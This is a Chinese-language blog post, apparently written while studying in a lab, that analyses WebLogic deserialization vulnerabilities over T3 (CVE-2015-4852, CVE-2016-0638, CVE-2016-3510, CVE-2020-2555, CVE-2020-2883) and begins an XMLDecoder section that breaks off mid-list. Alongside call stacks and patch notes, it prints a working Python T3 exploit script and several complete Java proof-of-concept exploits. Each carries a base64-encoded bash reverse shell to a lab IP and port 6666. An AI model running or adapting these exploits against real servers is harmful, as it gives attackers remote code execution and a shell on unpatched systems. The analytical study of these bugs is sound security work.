
还是觉得得研究一下weblogic反序列化漏洞,只会用工具太脚本小子了,我们来看看weblogic是如何造成反序列化漏洞的
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中
在WebLogic里面反序列化漏洞利用大致分为两种,一个是基于T3协议的反序列化漏洞,一个是基于XML的反序列化漏洞
漏洞复现的环境搭建使用:https://github.com/QAX-A-Team/WeblogicEnvironment
我这里选用的是jdk7u21和wls10.3.6版本
T3协议反序列化
参考RoboTerh师傅的文章:
https://tttang.com/user/RoboTerh
CVE-2015-4852
影响版本:
- Oracle WebLogic Server 10.3.6.0
- Oracle WebLogic Server 12.1.2.0
- Oracle WebLogic Server 12.1.3.0
- Oracle WebLogic Server 12.2.1.0
这个漏洞主要是利用T3协议可以进行反序列化的操作,来利用cc链进行攻击,也算是T3反序列化的鼻祖了,后续都是根据这个进行的补丁绕过
利用脚本如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 
 | from os import popenimport struct
 import subprocess
 from sys import stdout
 import socket
 import re
 import binascii
 
 def generatePayload(gadget, cmd):
 YSO_PATH = "/home/bmth/web/ysoserial-0.0.6-SNAPSHOT-all.jar"
 popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
 return popen.stdout.read()
 
 def T3Exploit(ip, port, payload):
 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.connect((ip, port))
 handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
 sock.sendall(handshake.encode())
 data = sock.recv(1024)
 data += sock.recv(1024)
 compile = re.compile("HELO:(.*).0.false")
 print(data.decode())
 match = compile.findall(data.decode())
 if match:
 print("Weblogic: " + "".join(match))
 else:
 print("Not Weblogic")
 return
 header = binascii.a2b_hex(b"00000000")
 t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
 desflag = binascii.a2b_hex(b"fe010000")
 payload = header + t3header + desflag + payload
 payload = struct.pack(">I", len(payload)) + payload[4:]
 sock.send(payload)
 
 if __name__ == "__main__":
 ip = "192.168.111.178"
 port = 7001
 gadget = "CommonsCollections1"
 cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xMTEuMTc4LzY2NjYgPCYxJw==}|{base64,-d}|{bash,-i}"
 payload = generatePayload(gadget, cmd)
 T3Exploit(ip, port, payload)
 
 | 

调用栈如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | readObject:60, InboundMsgAbbrev (weblogic.rjvm)read:38, InboundMsgAbbrev (weblogic.rjvm)
 readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
 init:213, MsgAbbrevInputStream (weblogic.rjvm)
 dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
 dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
 dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
 readReadySocketOnce:967, SocketMuxer (weblogic.socket)
 readReadySocket:899, SocketMuxer (weblogic.socket)
 processSockets:130, PosixSocketMuxer (weblogic.socket)
 run:29, SocketReaderRequest (weblogic.socket)
 execute:42, SocketReaderRequest (weblogic.socket)
 execute:145, ExecuteThread (weblogic.kernel)
 run:117, ExecuteThread (weblogic.kernel)
 
 | 
T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject进行反序列化操作,在var1中的head正是我们传递过来的数据,可以看到存在aced0005,为序列化过的标志

因为var1.read()方法中返回的结果为0,所以将会进入case 0语句,调用了内部类InboundMsgAbbrev.ServerChannelInputStream#readObject方法

往后执行,可以发现这几个方法是对数据流进行分块处理,将序列化部分分块,依次解析每块的类,然后去执行

可以看到调用父类的ObjectInputStream#resolveClass方法获取对应类名,并没有做出任何的安全过滤操作,所以能够实例化任意类
官方对此的修复方案是加入黑名单:

在黑名单中的类不会被反序列化,该修复方法主要作用在 wlthint3client.jar 包中以下三个位置:
| 12
 3
 
 | weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStreamweblogic.rjvm.MsgAbbrevInputStream.class
 weblogic.iiop.Utils.class
 
 | 
参考:
weblogic之cve-2015-4852
Weblogic CVE-2015-4852 反序列化RCE分析
WeblogicT3反序列化浅析之cve-2015-4852
CVE-2016-0638
也就是对CVE-2015-4852补丁的一个绕过,这个漏洞主要是找到了个黑名单之外的类weblogic.jms.common.StreamMessageImpl
在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法
而在这里readExternal就会被调用

StreamMessageImpl在反序列化的时候,根据传递过来的输入数据第一个字节判断是否是1,若为1,会对后续数据调用反序列化函数,var5实际是一个ObjectInputStream,其readObject即开启了后续的反序列化
使用工具:https://github.com/BabyTeam1024/CVE-2016-0638
具体payload如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 
 | package exploit;
 import com.supeream.serial.Serializables;
 import com.supeream.weblogic.T3ProtocolOperation;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 import weblogic.jms.common.StreamMessageImpl;
 
 import java.io.ByteArrayOutputStream;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.util.HashMap;
 import java.util.Map;
 
 public class CVE_2016_0638 {
 public static byte[] serialize(final Object obj) throws Exception {
 ByteArrayOutputStream btout = new ByteArrayOutputStream();
 ObjectOutputStream objOut = new ObjectOutputStream(btout);
 objOut.writeObject(obj);
 return btout.toByteArray();
 }
 
 public byte[] getObject() throws Exception {
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xMTEuMTc4LzY2NjYgPCYxJw==}|{base64,-d}|{bash,-i}"})
 };
 Transformer transformerChain = new ChainedTransformer(transformers);
 final Map innerMap = new HashMap();
 final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
 String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
 final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
 constructor.setAccessible(true);
 InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
 
 final Map testMap = new HashMap();
 
 Map evilMap = (Map) Proxy.newProxyInstance(testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(), secondInvocationHandler);
 final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
 ctor.setAccessible(true);
 final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
 byte[] serializeData=serialize(handler);
 return serializeData;
 }
 
 public static void main(String[] args) throws Exception {
 byte[] payloadObject = new CVE_2016_0638().getObject();
 StreamMessageImpl streamMessage = new StreamMessageImpl();
 streamMessage.setDataBuffer(payloadObject,payloadObject.length);
 byte[] payload2 = Serializables.serialize(streamMessage);
 T3ProtocolOperation.send("192.168.111.178", "7001", payload2);
 }
 }
 
 | 

 调用栈如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | readExternal:1433, StreamMessageImpl (weblogic.jms.common)readExternalData:1835, ObjectInputStream (java.io)
 readOrdinaryObject:1794, ObjectInputStream (java.io)
 readObject0:1348, ObjectInputStream (java.io)
 readObject:370, ObjectInputStream (java.io)
 readObject:66, InboundMsgAbbrev (weblogic.rjvm)
 read:38, InboundMsgAbbrev (weblogic.rjvm)
 readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
 init:213, MsgAbbrevInputStream (weblogic.rjvm)
 dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
 dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
 dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
 readReadySocketOnce:967, SocketMuxer (weblogic.socket)
 readReadySocket:899, SocketMuxer (weblogic.socket)
 processSockets:130, PosixSocketMuxer (weblogic.socket)
 run:29, SocketReaderRequest (weblogic.socket)
 execute:42, SocketReaderRequest (weblogic.socket)
 execute:145, ExecuteThread (weblogic.kernel)
 run:117, ExecuteThread (weblogic.kernel)
 
 | 
参考:
Java安全之Weblogic 2016-0638分析
CVE-2016-3510
这是对补丁的另一个绕过方法
找到的是 weblogic.corba.utils.MarshalledObject这个类,先看一下他的构造方法

MarshalledObject接收到参数通过var3进行序列化,并将相关数据存储在objBytes中
我们可以看到他的readResolve()方法中存在反序列化

可以看出来是一个二次反序列化,那么paylaod也很好写了:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 
 | package exploit;
 import com.supeream.serial.Serializables;
 import com.supeream.weblogic.T3ProtocolOperation;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 import weblogic.corba.utils.MarshalledObject;
 
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.util.HashMap;
 import java.util.Map;
 
 public class CVE_2016_3510 {
 public Object getObject() throws Exception {
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
 new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xMTEuMTc4LzY2NjYgPCYxJw==}|{base64,-d}|{bash,-i}"})
 };
 Transformer transformerChain = new ChainedTransformer(transformers);
 final Map innerMap = new HashMap();
 final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
 String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
 final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
 constructor.setAccessible(true);
 InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
 
 final Map testMap = new HashMap();
 
 Map evilMap = (Map) Proxy.newProxyInstance(testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(), secondInvocationHandler);
 final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
 ctor.setAccessible(true);
 final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
 return handler;
 }
 
 public static void main(String[] args) throws Exception {
 Object payloadObject = new CVE_2016_3510().getObject();
 MarshalledObject marshalledObject = new MarshalledObject(payloadObject);
 byte[] payload2 = Serializables.serialize(marshalledObject);
 T3ProtocolOperation.send("192.168.111.178", "7001", payload2);
 }
 }
 
 | 
调用栈如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | readResolve:58, MarshalledObject (weblogic.corba.utils)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:57, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:601, Method (java.lang.reflect)
 invokeReadResolve:1091, ObjectStreamClass (java.io)
 readOrdinaryObject:1805, ObjectInputStream (java.io)
 readObject0:1348, ObjectInputStream (java.io)
 readObject:370, ObjectInputStream (java.io)
 readObject:66, InboundMsgAbbrev (weblogic.rjvm)
 read:38, InboundMsgAbbrev (weblogic.rjvm)
 readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
 init:213, MsgAbbrevInputStream (weblogic.rjvm)
 dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
 dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
 dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
 readReadySocketOnce:967, SocketMuxer (weblogic.socket)
 readReadySocket:899, SocketMuxer (weblogic.socket)
 processSockets:130, PosixSocketMuxer (weblogic.socket)
 run:29, SocketReaderRequest (weblogic.socket)
 execute:42, SocketReaderRequest (weblogic.socket)
 execute:145, ExecuteThread (weblogic.kernel)
 run:117, ExecuteThread (weblogic.kernel)
 
 | 
回显构造:Weblogic使用ClassLoader和RMI来回显命令执行结果

参考:
CVE-2016-3510:Weblogic反序列化
CVE-2020-2555
2020年3月6日,Oracle Coherence 反序列化远程代码执行漏洞(CVE-2020-2555)的细节被公开,Oracle Coherence为Oracle融合中间件中的产品,在WebLogic 12c及以上版本中默认集成到WebLogic安装包中,攻击者通过t3协议发送构造的序列化数据,执行任意命令
影响版本:
- Oracle Coherence 3.7.1.17
- Oracle Coherence & Weblogic 12.1.3.0.0
- Oracle Coherence & Weblogic 12.2.1.3.0
- Oracle Coherence & Weblogic 12.2.1.4.0
通过研究发现 Weblogic 10.3.6.0 版本不受影响范围内,虽然该版本默认自带了 Coherence(3.7),通过调试发现该版本默认并未启用 Coherence,所以 Weblogic 10.3.6.0 不在受影响范围内
这里我更换了版本为jdk8u121、Weblogic 12.1.3.0,因为BadAttributeValueExpException这条链是从JDK 8u76才存在的,然后导出coherence.jar:
| 1
 | docker cp weblogic12013jdk8u121:/u01/app/oracle/middleware/coherence ./middleware/
 | 

注意coherence.jar要使用和目标版本一致的,不然会有serialVersionUID不一致的问题,导致反序列化报错
先给出payload:https://github.com/Y4er/CVE-2020-2555
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 
 | package exploit;
 import com.supeream.serial.Serializables;
 import com.supeream.weblogic.T3ProtocolOperation;
 import com.tangosol.util.ValueExtractor;
 import com.tangosol.util.extractor.ChainedExtractor;
 import com.tangosol.util.extractor.ReflectionExtractor;
 import com.tangosol.util.filter.LimitFilter;
 
 import javax.management.BadAttributeValueExpException;
 import java.lang.reflect.Field;
 
 public class CVE_2020_2555 {
 public static void main(String[] args) throws Exception {
 ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});
 ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});
 ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xMTEuMTc4LzY2NjYgPCYxJw==}|{base64,-d}|{bash,-i}"});
 
 ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});
 
 LimitFilter limitFilter = new LimitFilter();
 limitFilter.setComparator(chainedExtractor);
 limitFilter.setTopAnchor(Runtime.class);
 
 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
 try {
 Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
 field.setAccessible(true);
 field.set(badAttributeValueExpException, limitFilter);
 } catch (Exception e) {
 e.printStackTrace();
 }
 
 byte[] payload = Serializables.serialize(badAttributeValueExpException);
 
 T3ProtocolOperation.send("192.168.111.178", "7001", payload);
 }
 }
 
 | 
成功反弹shell

调用栈如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 
 | exec:347, Runtime (java.lang)invoke:-1, GeneratedMethodAccessor32 (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 extract:109, ReflectionExtractor (com.tangosol.util.extractor)
 extract:81, ChainedExtractor (com.tangosol.util.extractor)
 toString:580, LimitFilter (com.tangosol.util.filter)
 readObject:86, BadAttributeValueExpException (javax.management)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 invokeReadObject:1058, ObjectStreamClass (java.io)
 readSerialData:2122, ObjectInputStream (java.io)
 readOrdinaryObject:2013, ObjectInputStream (java.io)
 readObject0:1535, ObjectInputStream (java.io)
 readObject:422, ObjectInputStream (java.io)
 readObject:67, InboundMsgAbbrev (weblogic.rjvm)
 read:39, InboundMsgAbbrev (weblogic.rjvm)
 readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
 init:212, MsgAbbrevInputStream (weblogic.rjvm)
 dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
 dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
 dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
 readReadySocketOnce:970, SocketMuxer (weblogic.socket)
 readReadySocket:907, SocketMuxer (weblogic.socket)
 process:495, NIOSocketMuxer (weblogic.socket)
 processSockets:461, NIOSocketMuxer (weblogic.socket)
 run:30, SocketReaderRequest (weblogic.socket)
 execute:43, SocketReaderRequest (weblogic.socket)
 execute:147, ExecuteThread (weblogic.kernel)
 run:119, ExecuteThread (weblogic.kernel)
 
 | 
直接跟进到LimitFilter的toString()方法
可以看到当m_comparator是继承于ValueExtractor接口的类时,会尝试调用m_comparator.extract()方法

跟进到ChainedExtractor的extract方法

可以看到类型为ReflectionExtractor,继续跟进它的extract方法

明显的看到存在反射调用,整个利用链就出来了,只需要设置BadAttributeValueExpException的成员变量val为LimitFilter就可以完成触发
补丁如下:

参考:
Oracle Coherence 反序列化漏洞分析(CVE-2020-2555)
使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell
使用 CVE-2020-2555 攻击 Shiro
CVE-2020-2883
也就是对CVE-2020-2555补丁的一个绕过,上一个CVE的补丁修复主要是删除掉了LimitFilter.toString()中的extract()调用
POC:https://github.com/Y4er/CVE-2020-2883/
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 
 | package exploit;
 import com.supeream.serial.Reflections;
 import com.supeream.serial.Serializables;
 import com.supeream.weblogic.T3ProtocolOperation;
 import com.tangosol.util.ValueExtractor;
 import com.tangosol.util.comparator.ExtractorComparator;
 import com.tangosol.util.extractor.ChainedExtractor;
 import com.tangosol.util.extractor.ReflectionExtractor;
 
 import java.lang.reflect.Field;
 import java.util.PriorityQueue;
 
 
 public class CVE_2020_2883 {
 public static void main(String[] args) throws Exception {
 ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
 ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
 ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xMTEuMTc4LzY2NjYgPCYxJw==}|{base64,-d}|{bash,-i}"});
 
 ValueExtractor[] valueExtractors = new ValueExtractor[]{
 reflectionExtractor1,
 reflectionExtractor2,
 reflectionExtractor3,
 };
 
 Class clazz = ChainedExtractor.class.getSuperclass();
 Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
 m_aExtractor.setAccessible(true);
 
 ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
 ValueExtractor[] valueExtractors1 = new ValueExtractor[]{reflectionExtractor};
 
 ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
 
 PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
 queue.add("1");
 queue.add("1");
 m_aExtractor.set(chainedExtractor1, valueExtractors);
 
 Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
 queueArray[0] = Runtime.class;
 queueArray[1] = "1";
 
 byte[] payload = Serializables.serialize(queue);
 T3ProtocolOperation.send("192.168.111.178", "7001", payload);
 }
 }
 
 | 
调用栈如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 
 | exec:347, Runtime (java.lang)invoke:-1, GeneratedMethodAccessor32 (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 extract:109, ReflectionExtractor (com.tangosol.util.extractor)
 extract:81, ChainedExtractor (com.tangosol.util.extractor)
 compare:61, ExtractorComparator (com.tangosol.util.comparator)
 siftDownUsingComparator:721, PriorityQueue (java.util)
 siftDown:687, PriorityQueue (java.util)
 heapify:736, PriorityQueue (java.util)
 readObject:795, PriorityQueue (java.util)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 invokeReadObject:1058, ObjectStreamClass (java.io)
 readSerialData:2122, ObjectInputStream (java.io)
 readOrdinaryObject:2013, ObjectInputStream (java.io)
 readObject0:1535, ObjectInputStream (java.io)
 readObject:422, ObjectInputStream (java.io)
 readObject:67, InboundMsgAbbrev (weblogic.rjvm)
 read:39, InboundMsgAbbrev (weblogic.rjvm)
 readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
 init:212, MsgAbbrevInputStream (weblogic.rjvm)
 dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
 dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
 dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
 readReadySocketOnce:970, SocketMuxer (weblogic.socket)
 readReadySocket:907, SocketMuxer (weblogic.socket)
 process:495, NIOSocketMuxer (weblogic.socket)
 processSockets:461, NIOSocketMuxer (weblogic.socket)
 run:30, SocketReaderRequest (weblogic.socket)
 execute:43, SocketReaderRequest (weblogic.socket)
 execute:147, ExecuteThread (weblogic.kernel)
 run:119, ExecuteThread (weblogic.kernel)
 
 | 
可以看出这条链是从PriorityQueue的readObject开始,然后触发到了ExtractorComparator#compare方法

可以看出该方法能够调用m_extractor属性的extract方法,如果我们将该属性设置为ChainedExtractor类对象,就能够形成利用链
同时还发现另外一个类:MultiExtractor,该类继承关系如下:

看到MultiExtractor#extract,在这里我们可以通过构造aExtractor[i]为ChainedExtractor来调用ChainedExtractor.extract

看到this.getExtractors()方法,我们可以通过反射控制m_aExtrator属性

并且MultiExtractor没有自己的compare,该类使用的是父类AbstractExtractor的compare函数

最后的poc如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 
 | package exploit;
 import com.supeream.serial.Reflections;
 import com.supeream.serial.Serializables;
 import com.supeream.weblogic.T3ProtocolOperation;
 import com.tangosol.util.ValueExtractor;
 import com.tangosol.util.extractor.ChainedExtractor;
 import com.tangosol.util.extractor.MultiExtractor;
 import com.tangosol.util.extractor.ReflectionExtractor;
 
 import java.lang.reflect.Field;
 import java.util.PriorityQueue;
 
 
 public class CVE_2020_2883_2 {
 public static void main(String[] args) throws Exception {
 ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});
 ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});
 ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xMTEuMTc4LzY2NjYgPCYxJw==}|{base64,-d}|{bash,-i}"});
 
 ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});
 MultiExtractor multiExtractor = new MultiExtractor();
 
 Field m_aExtractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor");
 m_aExtractor.setAccessible(true);
 m_aExtractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});
 
 PriorityQueue priorityQueue = new PriorityQueue();
 priorityQueue.add("1");
 priorityQueue.add("2");
 
 Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
 comparator.setAccessible(true);
 comparator.set(priorityQueue, multiExtractor);
 
 Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue");
 queueArray[0] = Runtime.class;
 queueArray[1] = "1";
 
 byte[] serialize = Serializables.serialize(priorityQueue);
 T3ProtocolOperation.send("192.168.111.178", "7001", serialize);
 }
 }
 
 | 
调用栈如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 
 | exec:347, Runtime (java.lang)invoke:-1, GeneratedMethodAccessor32 (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 extract:109, ReflectionExtractor (com.tangosol.util.extractor)
 extract:81, ChainedExtractor (com.tangosol.util.extractor)
 extract:94, MultiExtractor (com.tangosol.util.extractor)
 compare:79, AbstractExtractor (com.tangosol.util.extractor)
 siftDownUsingComparator:721, PriorityQueue (java.util)
 siftDown:687, PriorityQueue (java.util)
 heapify:736, PriorityQueue (java.util)
 readObject:795, PriorityQueue (java.util)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 invokeReadObject:1058, ObjectStreamClass (java.io)
 readSerialData:2122, ObjectInputStream (java.io)
 readOrdinaryObject:2013, ObjectInputStream (java.io)
 readObject0:1535, ObjectInputStream (java.io)
 readObject:422, ObjectInputStream (java.io)
 readObject:67, InboundMsgAbbrev (weblogic.rjvm)
 read:39, InboundMsgAbbrev (weblogic.rjvm)
 readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
 init:212, MsgAbbrevInputStream (weblogic.rjvm)
 dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
 dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
 dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
 readReadySocketOnce:970, SocketMuxer (weblogic.socket)
 readReadySocket:907, SocketMuxer (weblogic.socket)
 process:495, NIOSocketMuxer (weblogic.socket)
 processSockets:461, NIOSocketMuxer (weblogic.socket)
 run:30, SocketReaderRequest (weblogic.socket)
 execute:43, SocketReaderRequest (weblogic.socket)
 execute:147, ExecuteThread (weblogic.kernel)
 run:119, ExecuteThread (weblogic.kernel)
 
 | 
参考:
CVE-2020-2883:Weblogic反序列化
XMLDecoder反序列化
参考:
WebLogic-XMLDecoder反序列化漏洞分析
CVE-2017-3506&10271
影响范围:
- Oracle WebLogic Server 10.3.6.0
- Oracle WebLogic Server 12.1.3.0
- Oracle WebLogic Server 12.2.1.0
- Oracle WebLogic Server 12.2.1.1
- Oracle WebLogic Server 12.2.1.2
该漏洞利用weblogic的wls-wsat组件对XML用XMLDecoder进行解析的功能,从而对其传入恶意XML数据造成反序列化攻击
在wls-wsat.war包中的文件/WEB-INF/web.xml内,其中的路由均存在漏洞,即:
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | [*] wls-wsat组件路径:/wls-wsat/CoordinatorPortType
 /wls-wsat/CoordinatorPortType11
 /wls-wsat/ParticipantPortType
